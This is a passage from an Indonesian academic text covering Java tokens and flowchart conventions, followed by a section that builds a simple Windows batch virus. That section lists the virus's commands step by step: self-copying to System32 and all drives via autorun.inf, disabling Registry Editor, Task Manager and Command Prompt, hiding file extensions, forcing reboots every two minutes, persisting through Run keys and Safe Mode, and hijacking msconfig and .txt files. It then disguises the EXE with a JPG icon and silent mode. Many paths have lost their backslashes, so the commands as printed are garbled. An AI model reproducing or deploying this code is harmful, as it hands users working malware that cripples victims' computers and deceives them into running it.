kelas mengikuti import statement yang digunakannya. Sebuah program tunggal
dimungkinkan untuk mempunyai beberapa kelas. Kelas ini boleh extend kelas
lain. Selanjutnya tanda titik koma digunakan untuk mengakhiri statement
program. Selain dari pada itu, program juga boleh berisi komentar. Compiler
mengabaikan komentar itu.
         Dalam java juga mempunyai „token (tanda)‟. Token merupakan satuan
individu terkecil dalam sebuah program java. Walaupun sebagai unsur yang
paling kecil dari suatu program namun dia mengandung penuh arti bagi suatu
compiler. Karena itu, program java merupakan sekumpulan dari token-token itu.
         Di dalam program java, token digolongkan kedalam lima kategori.
Kelima kategori token itu seperti berikut:
a.   Identifikasi (identifier)
b.   Kata kunci (keyword) / Kata cadangan (reserve word)
c.   Mesin pemisah (separator)
d.   Harafiah (literal)

6
 Wisnu Yudo, Algoritma dan Pemrograman Dengan Bahasa Java. (Yogyakarta: Graha Ilmu,
2012), hal. 48-49
e.     Operator


1.3.      Flowchart7
          Dalam mendeskripsikan prosedur penyelesaian permasalahan dalam
bentuk alagoritma, seringkali dijumpai kesulitan jika hanya menggunakan kata-
kata atau kalimat-kalimat saja. Dengan demikian, deskripsinya cenderung sulit
dipahami dan memungkinkan timbulnya kesalahan interprestasi bagi orang lain.
Selain itu, diperlukan banyak keterangan- keterangan yang seringkali justru sulit
dimengerti. Belum lagi, setiap orang tentu memiliki cara-cara tersendiri yang
berbeda     sehingga   tidak   pernah   ditemukan     keseragaman     dalam      format
penulisannya.
          Untuk alasan-alasan tersebut , maka penggunaan diagram alir (flowchart)
akan banyak membantu dan menguntungkan. Dengan flowchart, langkah-langkah
prosedur penyelesaian permasalahan dapat diekspresikan dengan serangkaian
simbol grafis yang baku dan lebih mudah digunakan. Penggunaan flowchart akan
menghindarkan sejak dini timbulnya kesalahan interprestasi bagi orang lain yang
merupakan awal kegagalan suatu prosedur yang dikembangkan.
          Banyak manfaat akan diperoleh apabila kita sering menggunakan
flowchart dalam mengembangkan prosedur pemecahan masalah komputasi.
Pertama, kita terbiasa berfikir secara sistematis dan terstruktur dalam setiap
kesempatan. Kedua, dengan menggunakan flowchart , kita akan lebih mudah
untuk mengecek dan menemukan bagian-bagian prosedur yang tidak valid dan
bertele-tele. Selain itu, prosedur yang dikembangkan akan lebih mudah untuk
dipahami oleh orang lain, sehingga tidak menimbulkan kesalahan interprestasi
apabila mau menerapkan prosedur yang kita kembangkan.
          Flowchart dapat diartikan sebagai suatu alat atau sarana yang
menunjukan langkah-langkah yang harus dilaksanakan dalam menyelesaikan
suatu permasalahan untuk komputasi dengan cara mengekspresikannya ke dalam
serangkaian simbol-simbol grafis khusus. Flowchart menolong analisis dan
7
EdhySutanta,AlgoritmaTeknikPenyelesaianPermasalahanUntukKomputasi (Yogyakarta:
GrahaIlmu, 2004), hal. 27-28
programmer untuk memecahkan masalah ke dalam segmen-segmen yang lebih
kecil dan menolong dalam menganalisis alternatif-alternatif lain dalam
pengoperasian. Flowchart biasanya mempermudah penyelesaian suatu masalah
khususnya masalah yang perlu dipelajari dan dievaluasi lebih lanjut. Adapun
tujuan membuat flowchart, yaitu:
1.   Menggambarkan suatu tahapan penyelesaian masalah.
2.   Secara sederhana, terurai, rapi, dan jelas.
3.   Menggunakan simbol-simbol standar.
         Simbol-simbol yang dipakai dalam flowchart dibagi menjadi 3
kelompok, yaitu:
1.   Flow Direction Symbols, digunakan untuk menghubungkan simbol satu
     dengan yang lain yang sering disebut dengan connecting line.
2.   Processing Symbols, menunjukan jenis operasi pengolahan dalam suatu
     proses prosedur
3.   Input Output Symbols, menunjukan jenis peralatan yang digunakan sebagai
     media input atau output.
         Dalam pembuatan flowchart tidak ada rumus atau patokan yang bersifat
mutlak. Karena flowchart merupakan gambaran hasil pemikiran dalam
menganalisa suatu masalah dengan komputer. Sehingga flowchart yang dihasilkan
dapat bervariasi antara satu pemrogram dengan pemrogram lainnya.Namun secara
garis besar, setiap pengolahan selalu terdiri dari tiga bagian utama, yaitu;
1.   Input berupa bahan mentah.
2.   Proses pengolahan.
3.   Output berupa bahan jadi.
         Untuk pengolahan data dengan komputer, dapat dirangkum urutan dasar
untuk pemecahan suatu masalah, yaitu:
1.   Start: berisi instruksi untuk persiapan perlatan yang diperlukan sebelum
     menangani pemecahan masalah.
2.   Read: berisi instruksi untuk membaca data dari suatu peralatan input.
3.   Process: berisi kegiatan yang berkaitan dengan pemecahan persoalan sesuai
     dengan data yang dibaca.
4.   Write: berisi instruksi untuk merekam hasil kegiatan ke perlatan output.
5.   End: mengakhiri kegiatan pengolahan.


1.3.1.    Pedoman-pedoman dalam Membuat Flowchart8
          Bila seorang analis dan programmer akan membuat flowchart, ada
beberpa petunjuk yang harus diperhatikan, seperti:
1.   Flowchart digambarkan dari halaman atas ke bawah dan dari kiri ke kanan.
2.   Aktivitas yang digambarkan harus didefinisikan secara hati-hati dan definisi
     ini harus dapat dimengerti oleh pembacanya.
3.   Kapan aktivitas dimulai dan berakhir harus ditentukan secara jelas.
4.   Setiap langkah dari aktivitas harus diuraikan dengan menggunakan deskripsi
     kata kerja, misalkan menghitung pajak penjualan.
5.   Setiap langkah dari aktivitas harus berada pada urutan yang benar.
6.   Lingkup dan range dari aktifitas yang sedang digambarkan harus ditelusuri
     dengan hati-hati. Percabangan-percabangan yang memotong aktivitas yang
     sedang digambarkan tidak perlu digunakan dan percabangannya diletakkan
     pada    halaman      yanga     terpisah    atau    dihilangkan     seluruhnya      bila
     percabangannya tidak berkaitan dengan sistem.
7.   Gunakan simbol- simbol flowchart yang standar.


1.3.2.    Jenis-jenis Flowchart
          Flowchart terbagi atas 5 jenis, yaitu:
1.   Flowchart Sistem
     Flowchart sistem merupakan bagan yang menunjukan alur kerja atau apa
     yang sedang dikerjakan di dalam sistem secara keseluruhan dan menjelaskan
     urutan dari prosedur-prosedur yang ada di dalam sistem. Dengan kata lain,
     flowchart ini merupakan deskripsi secara grafik dari urutan prosedur-prosedur
     yang terkombinasi yang membentuk suatu sistem.
     Flowchart sistem terdiri dari data yang mengalir melalui sistem dan proses
     yang mentrasformasikan data itu. Data dan proses dalam flowchart sistem

8
 Normalia dan Nikous Soter, Struktur Data danAlgoritma (Medan: USU Press, 2007), hal. 5-16
dapat digambarkan secara online (dihubungkan langsung dengan komputer)
     atau offline (tidak dihubungkan langsung dengan komputer, misalnya mesin
     tik, cash register atau kalkulator).
2.   Flowchart paperwork/Flowchart dokumen
     Flowchart paperwork menelusuri alur dari data yang ditulis melalui sistem.
     Flowchart paperwork sering disebut juga dengan flowchart dokumen.
     Kegunaan utamanya adalah untuk menelusuri alur form dan laporan sistem
     dari satu bagian ke bagian lain baik bagaimana alur form dan laporan
     diproses, dicatat dan disimpan.
3.   Flowchart Skematik
     Flowchart skematik mirip dengan flowchart sistem yang menggambarkan
     suatu sistem atau prosedur. Flowchart skematik ini bukan hanya
     menggunakan simbol-simbol flowchart standar, tetapi juga menggunakan
     gambar-gambar komputer, peripheral, form-form atau peralatan lain yang
     digunakan dalam sistem.
     Flowchart skematik digunakan sebagai alat komunikasi antara analis sistem
     dengan seseorang yang tidak familiar dengan simbol-simbol flowchart yang
     konvensional. Pemakaian gambar sebagai ganti dari simbol-simbol flowchart
     akan menghemat waktu yang dibutuhkan oleh seseorang untuk mempelajari
     simbol abstrak sebelum dapat mengerti flowchart.
     Gambar- gambar ini mengurangi kemungkinan salah pengertian tentang
     sistem, hal ini disebabkan oleh ketidak-mengertian tentang simbol-simbol
     yang digunakan. Gambar-gambar juga memudahkan pengamat untuk
     mengerti segala sesuatu yang dimaksudkan oleh analis, sehingga hasilnya
     lebih menyenangkan dan tanpa ada salah pengertian
4.   Flowchart Program
     Flowchart program dihasilkan dari flowchart sistem. Flowchart Program
     merupakan keterangan yang lebih rinci tentang bagaimana setiap langkah
     program     atau    prosedur    sesungguhnya    dilaksanakan.    Flowchart   ini
     menunjukan setiap langkah program atau prosedur dalam urutan yang tepat
     saat   terjadi.    Programmer     menggunakan     flowchart     program   untuk
menggambarkan urutan instruksi dari program komputer. Analis Sistem
     menggunakan flowchart program untuk menggambarkan urutan tugas-tugas
     pekerjaan dalam suatu prosedur atau operasi.
5.   Flowchart Process
     Flowchart process merupakan teknik penggambaran rekayasa industrial yang
     memecahkan dan menganalisi langkah-langkah selanjutnya dalam suatu
     prosedur atau sistem. Flowchart proses digunakan oleh perekayasa industrial
     dalam mempelajari dan mengembangkan proses-proses manufacturing.
     Dalam analisi sistem, Flowchart ini digunakan secara efektif untuk
     menelusuri alur suatu laporan atau form.


1.3.3.   Simbol- Simbol Flowchart
         Simbol- simbol flowchart yang biasanya dipakai adalah simbol- simbol
flowchart standar yang dikeluarkan oleh American National Standard Institure
(ANSI) dan Internasional Standardization Organization (ISO).
Simbol-simbol flowchart standar adalah sebagai berikut
                      Tabel 1.1. Simbol-simbol Flowchart
     Simbol                                     Arti
 Terminator
                                  Awal ataupun akhir flowchart



Input/ output
                 Merepresentasikan input data atau output data yang diproses atau
                                            informasi




     Proses
                                    Mempresentasikan operasi
Tabel 1.1. Simbol-simbol Flowchart (Lanjutan)
      Simbol                                   Arti
Penghubung (on page
     reference)            Penghubung dari bagian flowchart khususnya
                                       halaman yang sama


 Off- page reference
                         Penghubung bagan flowchart untuk halaman yang
                                             berbeda.

 Predefined Process
                               Rincian operasi berada di tempat lain


    Preparation
                                      Pemberian harga awal



   Punched Card
                          Input/ output yang menggunakan kartu berlubang




     Dokumen
                               Input atau output format yang dicetak




  On-line Storage
                           Input/output yang mengguanakan penyimpanan
                                          akses langsung
Tabel 1.1. Simbol-simbol Flowchart (Lanjutan)
            Simbol                                       Arti

         Magnetic Disk
                                   Input/ output yang menggunakan disk magnetik




1.4.      Sistem Virus Batch Sederhana
1.4.1.    Pendahuluan
          Saat ini perkembangan teknologi komunikasi dan informasi sangat pesat,
sehingga manusia semakin mudah menjalankan aktivitasnya sehari-hari. Sebagian
besar orang bekerja dengan komputer, baik menggunakan desktop PC, laptop atau
notebook. Bahkan sampai semua data pekerjaan, dokumentasi, koleksi foto, lagu,
video, dan lain-lain, semuanya dapat disimpan dalam perangkat PC maupun
Notebook tersebut, sehingga memudahkan apabila akan digunakan sewaktu-
waktu, tetapi sering perangkat elektronik tersebut kurang mendapat perhatian
lebih dari para pengguna maupun pemiliknya, terutama di sisi keamanan. Contoh:
virus yang menyerang PC maupun Notebook yang mengganggu dokumen atau
aplikasi dalam komputer, lebih parah lagi aplikasi menjadi tidak dapat dijalankan
atau dokumen menjadi rusak.Perkembangan virus pun tidak kalah pesatnya. Jenis
virus yang sudah beredar sangat beragam, salah satunya virus batch, virus
sederhana yang menggunakan perintah-perintah dalam DOS. Sebenarnya jenis
virus batch ini tidak berbeda dengan virus-virus yang lain, hanya proses
pembuatannya tidak memerlukan bahasa pemrograman tingkat lanjut dengan
beberapa baris perintah saja virus jenis ini bisa menjadi virus sederhana yang
sifatnya hanya mengganggu, atau menjadi virus yang cukup berbahaya. Penelitian
ini dilakukan agar dapat lebih mengetahui tentang seluk beluk virus batch dan
bahayanya, mengetahui metode penyerangan dan penyebaran virus, serta
memberikan      manfaat   kepada     user   mengetahui    dan   menyadari   apakah
komputernya telah terserang virus batch atau belum, sehingga dapat mencegah
virus batch menginfeksi komputer user. Salah satu cara agar virus batch tidak
masuk adalah dengan mencegah user mengakses fitur-fitur tertentu, seperti
registry editor, command prompt, task manager, dan lain sebagainya. Menurut
(Mufadhol, 2008), dalam tulisannya menjelaskan pengertian, cara penyebaran,
jenis-jenis virus komputer, kondisi komputer apabila terserang virus, dan tips
pencegahan serangan virus. Dari tulisan tentang seluk beluk virus komputer ini
membantu meningkatkan kesadaran dan menambah pengetahuan user terhadap
virus komputer serta caracara pencegahannya, salah satunya pemasangan
antivirus. Tinjauan pustaka lainnya (Suhandi,2009), meneliti perilaku virus H1N1
pada sistem operasi windows dan membuat aplikasi antivirus songket
menggunakan metode Behavior Blocking Detection untuk menangkal virus H1N1
tersebut. Aktivitas serangan virus secara umum dimulai akibat “kecerobohan”
user, yaitu ketika user men-double click suatu file yang telah terinfeksi oleh virus.
File-file virus tersebut biasanya berekstensi *.bat, *.exe, *.scr, *.vbs. File-file
dengan ekstensi seperti itu adalah file program yang dapat diakses atau dijalankan
secara langsung oleh komputer (Windows) tanpa perantara software tambahan dari
Windows. Begitulah asal mula kehidupan virus di komputer user. (Rafrastara,
2007).
         Semakin majunya perkembangan virus sekarang ini perlu diwaspadai
juga, karena virus tidak hanya bisa menginfeksi file-file program seperti
disebutkan di atas, tapi bisa juga menginfeksi file gambar, video, lagu, juga file-
file dokumen dan semacamnya. Jadi tidak tertutup kemungkinan bila suatu saat
file dokumen tiba-tiba tidak bisa dibuka lagi, atau menghilang dengan tiba-tiba.
Kemungkinan-kemungkinan seperti itu harus tetap diwaspadai. Dalam dunia
perkomputeran saat ini, virus bukanlah suatu hal yang menggemparkan. Bahkan
mungkin sudah menjadi hal yang biasa di kalangan para pengguna komputer.
Mulai dari virus yang sederhana, hingga virus yang sifatnya sangat berbahaya
yang memiliki kemampuan yang bersifat merusak baik sistem maupun data yang
ada di dalam suatu komputer. Definisi Virus adalah suatu program malware
(software jahat) yang sifatnya mengganggu dan cenderung merusak kinerja sistem
atau file-file tertentu yang merupakan sasaran utama mereka. Biasanya memiliki
kemampuan untuk berkembang biak dan memanfaatkan program lain untuk
penyebarannya. Syarat agar suatu program dapat disebut sebagai virus, antara lain
: mampu menggandakan diri hingga ke removable disk, mampu menyembunyikan
proses kerjanya, mampu memanipulasi file atau folder, mampu memanipulasi
registry. Jenis virus bisa dibedakan menjadi beberapa bagian, yaitu:
   1. Virus Boot Sector, merupakan virus umum, menggandakan diri dengan
        cara menindih boot sector asli pada sebuah disk, sehingga pada saat
        booting virus akan langsung dijalankan ke memori. Virus file, virus ini
        menyerang file yang dijalankan oleh suatu sistem operasi. Biasanya
        menyerang com atau exe.
   2. Virus Direct Action, virus ini akan masuk ke memori untuk menjalankan
        file lainnya, lalu menjalankan program lain untuk menipu. Multi Partition
        Virus, merupakan gabungan dari virus boot sector dan virus file.
   3. Polymorphic virus, virus dirancang untuk mengelabui program antivirus,
        yaitu dengan mengubah struktur dirinya setelah menjalankan perintah.
   4.   Stealth virus, mengendalikan instruksi-instruksi level DOS dengan
        menguasai tabel interrupt.
   5. Macro virus, ditulis oleh bahasa pemrograman dari suatu aplikasi,
        sehingga bersifat platform independent.
         Karakteristik Virus umumnya mempunyai struktur yang hampir sama,
dan dapat dibedakan menjadi beberapa kode, yaitu : (Shadewa, 2007) kode
penanda virus, kode penggandaan virus, kode pertahanan dan penyembunyian
deteksi, kode pemicu, dan kode manipulasi. Kode penanda virus, setiap virus pasti
mempunyai identitas masing-masing. Bisa dibuat dengan karakter atau jumlah
byte tertentu sebagai marker sesuai dengan keinginan si pembuat. Contoh, virus A
mempunyai penanda X, dan virus B mempunyai penanda Y, maka virus-virus
tersebut akan dikenali antivirus sesuai penandanya. Kode penggandaan virus,
suatu program tidak dapat dikatakan virus jika tidak dapat menggandakan dirinya.
Banyak cara atau jurus untuk menggandakan diri yang digunakan oleh virus-virus
sekarang ini. Kode pertahanan dan penyembunyian deteksi, kode ini diperlukan
virus untuk mengecoh antivirus, bisa dengan mengenkripsi file virus tersebut,
menyembunyikan proses kerja pada komputer korban, ataupun menampilkan
pesan pengalihan ketika user mencoba menjalankan program antivirus. Kode
pemicu, setiap virus mempunyai program atau kode untuk mengaktifkan program
utamanya. Program atau kode ini bisa dipicu dengan bermacam-macam cara,
contohnya virus diaktifkan ketika user membuka file tertentu pada jendela
Explorer. Atau dengan memakai nama file yang sedang populer dan menarik
perhatian user untuk menjalankan file tersebut. Kode manipulasi, kode ini berguna
untuk menghapus file, menjalankan aplikasi tertentu untuk mencuri dan
mengirimkan data ke sebuah email. Batasan manipulasi terserah kepada
pembuatnya, karena hal inilah maka virus dikategorikan dalam program yang
bersifat merusak.
        Cara kerja sebuah virus diterangkan sebagai berikut : Setelah program
virus diklik oleh user, maka virus akan menjalankan proses, kemudian virus
menjalankan kode pertahanan diri, yaitu dengan menyembunyikan proses yang
terjadi di komputer, selanjutnya virus akan menjalankan kode penggandaan diri
yaitu dengan mencari file berekstensi tertentu, seperti .exe, .jpg, .doc, dan lain-
lain. Selanjutnya virus akan memeriksa apakah file tersebut ada kode penandanya,
jika file tersebut tidak ada kode penandanya maka virus akan menginfeksi file
yang sehat tersebut, atau menyisipkan kode virus, kemudian virus akan mencari
file yang belum terinfeksi, sedangkan jika virus tidak menemukan penanda pada
file yang dicari, maka virus akan mencari file selanjutnya yang belum terinfeksi.
Kemudian virus akan menjalankan kode manipulasi, misalnya menghapus data
atau menjalankan kode penggandaan diri lagi, setelah kode tersebut dijalankan,
virus akan mengerjakan kode pertahanan kembali, yaitu dengan cara mengenkrip
file virus untuk menyembunyikan diri dari pendeteksian antivirus. Batch file
merupakan salah satu program yang dapat diakses dan dijalankan secara langsung
oleh sistem Windows tanpa bantuan program pendukung lainnya. Batch file ini
memiliki ekstensi file .bat. Selain batch file, windows juga dapat mengeksekusi
program yang berekstensi .com, .exe, dan lain sebagainya. Perintah-perintah yang
dipahami oleh batch file adalah perintah-perintah yang sifatnya internal maupun
eksternal pada DOS (cmd.exe pada Windows). Perintah internal adalah perintah
yang dapat dieksekusi secara langsung tanpa adanya program tambahan.
Sedangkan perintah eksternal adalah suatu perintah yang membutuhkan program
tambahan untuk bisa menjalankannya, seperti attrib.exe, format.com, dan lain
sebagainya. Jadi batch file mampu mengeksekusi perintah command prompt
dengan sekali eksekusi saja. Berikut beberapa contoh perintah internal dan
eksternal yang ada dalam DOS
                    Tabel 1.2. Contoh Perintah Internal DOS
No         Perintah                               Fungsi
 1            Cls                          Membersihkan layar
 2            Cd                           Memanggil direktori
 3            Dir                   Menampilkan isi direktori atau drive
 4           Copy                              Menyalin file
 5           Del                              Menghapus file
 6           Ren                           Mengganti nama file
 7            Md                          Membuat direktori baru
 8            Rd                           Menghapus direktori
 9           Date                   Menampilkan dan mengatur tanggal
 10          Time                    Menampilkan dan mengatur waktu
 11          Echo                             Mencetak string
 12         Format                     Memformat partisi atau drive
 13        Unformat                   Partisi atau drive yang terformat
 14       Merecover                    Merecover file yang terhapus
           undelete
 15         Attrib                         Mengatur atribut file
 16          Edit                       Membuat atau mengedit file
 17         Label                         Menentukan label disk
 18          Tree                Menampilkan direktori beserta sub-subnya
 19         Deltree               Menghapus direktori beserta sub-subnya
 20         Xcopy                      Menyalin satu direktori penuh
 21         Chdsk                    Melakukan pengecekan pada disk
 22        Scandisk                Mendiagnosa permasalahan pada disk
Registry windows merupakan ruang kontrol utama dari sistem operasi
Windows. Hal ini dikarenakan registry merupakan basis data pusat pengaturan
atau konfigurasi Windows serta informasi dari segala hal yang ada di dalam
komputer, mulai dari hardware yang terpasang, port-port yang digunakan,
software yang terinstal, hingga informasi seputar pengguna lain juga terekam
secara rapi dalam basis data tersebut. Semua isi registry tersebut dapat
dimodifikasi melalui jendela Registry Editor. Isi dari registry secara umum terdiri
dari dua unsur, yaitu Hive dan Value Entry. Hive merupakan sarang atau cabang
utama dari registry yang berfungsi menangani kasus-kasus tertentu. Umumnya
dalam registry terdapat 5 macam hive, yaitu : HKEY_CLASSES_ROOT,
merupakan Subkey dari HKEY_LOCAL_MACHINE Software. Biasa digunakan
untuk mengatur file asosiasi ketika membuka suatu file melalui Windows
Explorer. HKEY_CURRENT_USER, yang akan digunakan untuk menyimpan
informasi konfigurasi dari user yang sedang aktif saat ini, dan merupakan subkey
dari HKEY_USERS. Pada key ini dapat dilakukan pengaturan yang diantaranya
adalah pengaturan seputar Folder, Control Panel, Windows Explorer, dan
tampilan layar yang digunakan oleh user tersebut. HKEY_LOCAL_MACHINE,
berisi informasi seputar hardware, software, dan lain sebagainya yang terpasang
dan berhubungan dengan Windows. Key ini berlaku untuk semua aplikasi user.
HKEY_USERS, merupakan induk dari HKEY_CURRENT_USER. Fungsinya
adalah menyimpan informasi semua user yang ada di komputer tersebut.
HKEY_CURRENT_CONFIG, memuat informasi seputar profile hardware yang
digunakan pada suatu komputer. Value Entry, merupakan nilai yang dapat
berfungsi sebagai sebuah perintah yang biasanya digunakan untuk melakukan aksi
atau manipulasi tertentu. Value entry terdiri dari 3 bagian, yaitu : DWORD value
(REG_DWORD), merupakan data dengan nilai 4 bytes. Namun nilai yang sering
dipakai dalam DWORD value adalah nilai boolean, yaitu 1 (benar) dan 0 (salah).
String value (REG_SZ), merupakan jenis karakter biasa atau string standard yang
umum digunakan oleh manusia. Binary value (REG_BINARY), merupakan data
atau nilai mentah, seperti nilai yang dapat dipahami oleh komputer, yaitu biner.
Informasi seputar hardware diletakkan sebagai data biner, namun pada Registry
Editor dapat dilihat dalam format Hexadecimal.


1.4.2.   Metode
         Virus batch dikonversikan menjadi file .exe, dengan menggunakan icon
file gambar (icon file JPG), bukan icon file aplikasi. Hasil akhir akan diberi nama
file virusku.exe. Algoritma virus batch sederhana sebagai berikut: Kopikan diri
sendiri ke folder WindowsSystem32. Matikan Regedit. Nonaktifkan Folder
Options. Matikan Task Manager. Nonaktifkan Command Prompt. Buat file
autorun.inf. Kopikan diri sendiri dan file autorun.inf ke drive C, D, E, F,G, H.
Sembunyikan file-file yang memiliki atribut System File. Sembunyikan File
Extension. Buat file restart.bat di direktori C:Windows. Buat Schedule Task
untuk menjalankan file restart.bat setiap 2 menit. Aktifkan virus dalam mode
StartUp. Alihkan eksekusi msconfig ke file virus. Alihkan eksekusi file *.txt ke
file virus. Aktifkan virus dalam Safe Mode dan Safe Mode With Command
Prompt. Jalankan game Minesweeper bawaan Windows. Konversikan file
contoh3.bat menjadi file virusku.exe.


1.4.3.   Pembahasan
         Implementasi dari diagram alir dan algoritma pembuatan virus batch
adalah sebagai berikut: Kopikan diri sendiri ke folder WindowsSystem32.
Sebelumnya periksa terlebih dahulu keberadaan diri sendiri di folder
WindowsSystem32. Jika belum ada, kopikan diri sendiri ke folder tersebut
dengan perintah : If not exist C:Windowssystem32 virusku.exe copy virusku.exe
C:Windowssystem32. Matikan Regedit, yang akan digunakan metode yang
berbeda, jadi bukan lagi melakukan bloking pada program registry editor, tetapi
langsung menutup program registry editor setiap kali dijalankan. Sehingga
registry editor tidak dapat dibuka/dijalankan dengan perintah: REG ADD
“HKLMSoftwareMicrosoft Windows NTCurrentVersionImage File Execution
Optionsregedit.exe” /v debugger /t REG_SZ /d “tskill regedit” /f Nonaktifkan
Folder Options, dengan menyembunyikan fasilitas Folder Options, sebagai salah
satu metode pertahanan diri bagi file virus. Dengan perintah: REG ADD
HKCUMicrosoftWindowsCurrent VersionPoliciesExplorer/v NoFolderOptions
/t REG_DWORD /d 1 /f Matikan Task Manager, metode yang digunakan sama
seperti untuk mematikan registry editor pada poin sebelumnya. Sehingga setiap
kali Task Manager dijalankan akan langsung ditutup kembali dengan erintah:
REG ADD “HKLMSoftwareMicrosoft Windows NTCurrentVersionImage File
Execution Options taskmgr.exe” /v debugger /t REG_SZ /d “tskill taskmgr” /f
Nonaktifkan Command Prompt, disini Command Prompt akan diblok, sehingga
tidak dapat digunakan. Namun untuk file batch dapat tetap berjalan dengan
perintah: REG ADD HKCUSoftwarePolicies MicrosoftWindowsSystem/v
DisableCMD /t REG_DWORD /d 2 /f Buat file autorun.inf., sebelumnya periksa
terlebih dahulu keberadaan file autorun.inf di folder aktif saat itu. File virusnya
akan berbentuk .exe file. if not exist autorun.inf goto mk_auto. Jika tidak
ditemukan, barulah dibuat file autorun-nya dengan perintah: :mk_auto Echo
[Autorun] > autorun.inf Echo open = virusku.exe >> autorun.inf Echo
shell1=Scan with antivirus >> autorun.inf Echo shell1Command=virusku.exe
>> autorun.inf Echo shellexecute=virusku.exe >> autorun.inf Kopikan diri
sendiri dan file autorun.inf ke drive C, D, E, F,G, H, untuk peng-copyan file virus
ke banyak tempat, berikut perintahnya. For %%x in (C D E F G) do copy
virusku.exe %%x: Sedangkan untuk file autorun-nya juga dilakukan secara
terpisah. For %%y in (C D E F G) do copy autorun.inf %%y: Sembunyikan file-
file yang memiliki atribut System File. Memastikan file-file dengan atribut super
hidden      tidak      ditampakkan        dengan     perintah.       REG     ADD
HKCUSoftwareMicrosoft WindowsCurrent VersionExplorer Advanced /v
ShowSuperHidden /t REG_DWORD /d 0 /f Sembunyikan File Extension, akan
dicoba untuk menyembunyikan ekstensi file, untuk sedikit menyamarkan file
virus    yang   akan     dibuat,   agar    user    tidak   curiga.    REG    ADD
HKCUSoftwareMicrosoft WindowsCurrent VersionExplorer Advanced /v
HideFileExt /t REG_DWORD /d 1 /f Buat file restart.bat di direktori C:Windows.
Sebelum membuat file restart.bat, akan diperiksa terlebih dahulu apakah file
tersebut sudah ada atau belum di folder C:Windows. Bila belum ada, baru
kemudian dibuat file restart.bat tersebut. If not exist C:Windowsrestart.bat goto
mk_restart Selanjutnya isi dari fungsi mk_restart untuk membuat file restart.bat. :
mk_restart Echo shutdown –r –t 30 -c”Mohon Maaf Lahir & Batin” –f >
C:Windowsrestart.bat Buat Schedule Task untuk menjalankan file restart.bat
setiap 2 menit. Jadi setiap windows berjalan selama 2 menit, file restart.bat akan
dijalankan. Schtasks /create /sc minute /mo 2 /tn Yohoo /tr C:Windowsrestart.bat
/ru System Aktifkan virus dalam mode StartUp. Setiap kali windows berjalan
maka virus juga berjalan seiring dengan file-file system yang lain. REG ADD
HKLMSoftwareMicrosoft WindowsCurrent VersionRun /v privacy /t REG_SZ
/d C:Windowssystem32 virusku.exe /f Alihkan eksekusi msconfig ke file virus.
Saat menjalankan program msconfig, maka yang akan jalan adalah file virus,
bukan jendela System Configuration Utility yang akan terbuka. REG ADD
“HKLMSoftwareMicrosoft Windows NTCurrentVersionImage File Execution
Optionsmsconfig.exe”/vdebugger/tREG_SZ/d“C:Windowssystem32virusku.ex/f
Alihkan eksekusi file *.txt ke file virus. Hal ini dilakukan agar nantinya pada saat
file .txt dijalankan, maka yang terbuka bukanlah notepad, melainkan file virus.
REG ADD HKCUSoftwareMicrosoft WindowsCurrent VersionExplorer
FileExts.txt /v Application /t REG_SZ /d "%SystemRoot%system32virusku.exe"
/f Aktifkan virus dalam Safe Mode dan Safe Mode With Command Prompt. Hal ini
bertujuan agar virus bisa tetap jalan di Safe Mode. Untuk Safe Mode sebagai
berikut:REGADD“HKLMSoftwareMicrosoftWindowsNTCurrentVersionWinlo
gon”/vShell/tREG_SZ/d“Explorer.exe,C:WindowsSystem32virusku.exe”/f
sedangkan untuk Safe Mode With Command Prompt sebagai berikut: REG ADD
HKLMSystemControlSet001 ControlSafeBoot /v AlternateShell /t REG
C:Windows System32virusku.exe /f Jalankan game Minesweeper bawaan
Windows. Sebenarnya ini hanya digunakan sebagai penanda bahwa virus sudah
dijalankan. Konversikan file contoh3.bat menjadi file virusku.exe. Proses ini
dilakukan setelah virus jadi. Langkah selanjutnya mengkonversi file .bat menjadi
.exe, yaitu melakukan konversi agar file contoh3.bat dapat menjadi file
virusku.exe, sesuai dengan algoritma. Proses ini nantinya akan menggunakan
software untuk membuat konversi file *.bat menjadi *.exe, salah satunya yang
sudah digunakan disini adalah Bat to EXE Converter v1.4. Pemilihan untuk
menggunakan     software    Bat   to   EXE    Converter    dikarenakan    langkah
pengoperasiannya yang sangat mudah sekali.




                       Gambar 1.1. Bat to Exe Converter


Pada Gambar 1.1. terlihat ada empat field di bagian atas merupakan bagian inti
yang digunakan untuk proses konversi ini, yaitu: Batchfile, tempat untuk
menentukan file .bat yang akan dikonversi. Include, tempat untuk menentukan file
apa saja yang disertakan dalam file .exe hasil dari proses konversi. Iconfile,
tempat untuk menentukan icon apa yang akan digunakan untuk file .exe hasil
konversi. Save as, untuk menentukan nama file .exe hasil konversi. Di bagian
bawah ada bagian Additional Informations, untuk berbagai keterangan dari file
.exe hasil konversi. Kemudian yang paling penting untuk sebuah program virus,
pilihan fitur yang terletak di atas tombol Compile, yaitu Ghost Application. Virus
tentu saja tidak ingin diketahui aktivitasnya, maka saat proses konversi digunakan
pilihan Ghost Application, agar tidak muncul jendela konfirmasi maupun
keterangan saat file virus nantinya dijalankan. Setelah proses konversi selesai,
akan terbentuk file baru yang bernama virusku.exe, yang terihat pada gambar 1.2.




                      Gambar 1.2. Hasil Konversi file .bat


Pada Gambar 1.3. terlihat ada file virusku.exe dengan icon gambar (icon file
JPG). Contoh virus ini filenya berbentuk exe file, atau memiliki ekstensi .exe,
biasanya tipe file aplikasi. Saat file virusku.exe dijalankan atau dieksekusi akan
muncul jendela game Minesweeper bawaan Windows. Tahap terakhir yang
dilakukan adalah mengkonversi file virus agar mudah membaur dan dapat
mengelabui user. Pada contoh ini digunakan icon file jpg. Sebenarnya bisa juga
menggunakan icon-icon lain, hanya saja nantinya akan mempengaruhi besarnya
file virus yang dihasilkan.




                              Gambar 1.3. Minesweeper
1.4.4.   Kesimpulan
         Contoh virus batch sederhana yang telah dibuat dan diujikan ke dalam
sistem operasi Windows, ternyata bisa dikatakan cukup berhasil, hanya dengan
menggunakan file Batch sebagai media pemrogramannya, dan perintah-perintah
yang bahasa pemrogramannya cukup sederhana, bisa jadi virus yang cukup
berbahaya, tetapi semuanya itu tergantung dari kreatifitas si virus maker. Isi dari
file virus juga tidak terlalu banyak, hanya beberapa baris perintah saja sudah bisa
merepotkan korban. Untuk virus batch ini ukuran filenya relatif lebih kecil. Dan
dapat dilihat yang menjadi sasaran penyerangan sebagian besar adalah registry
Windows, tetapi tidak menutup kemungkinan untuk melakukan penyerangan ke
file-file yang ada, misal file dokumen, gambar, dan lain-lain, yang bisa
menyebabkan file-file tersebut tidak dapat digunakan, menghilang, dan lain
sebagainya. Pengembangan yang dapat dilakukan dari penelitian virus batch
sederhana ini adalah membuat antivirusnya, sehingga selain mengetahui seluk
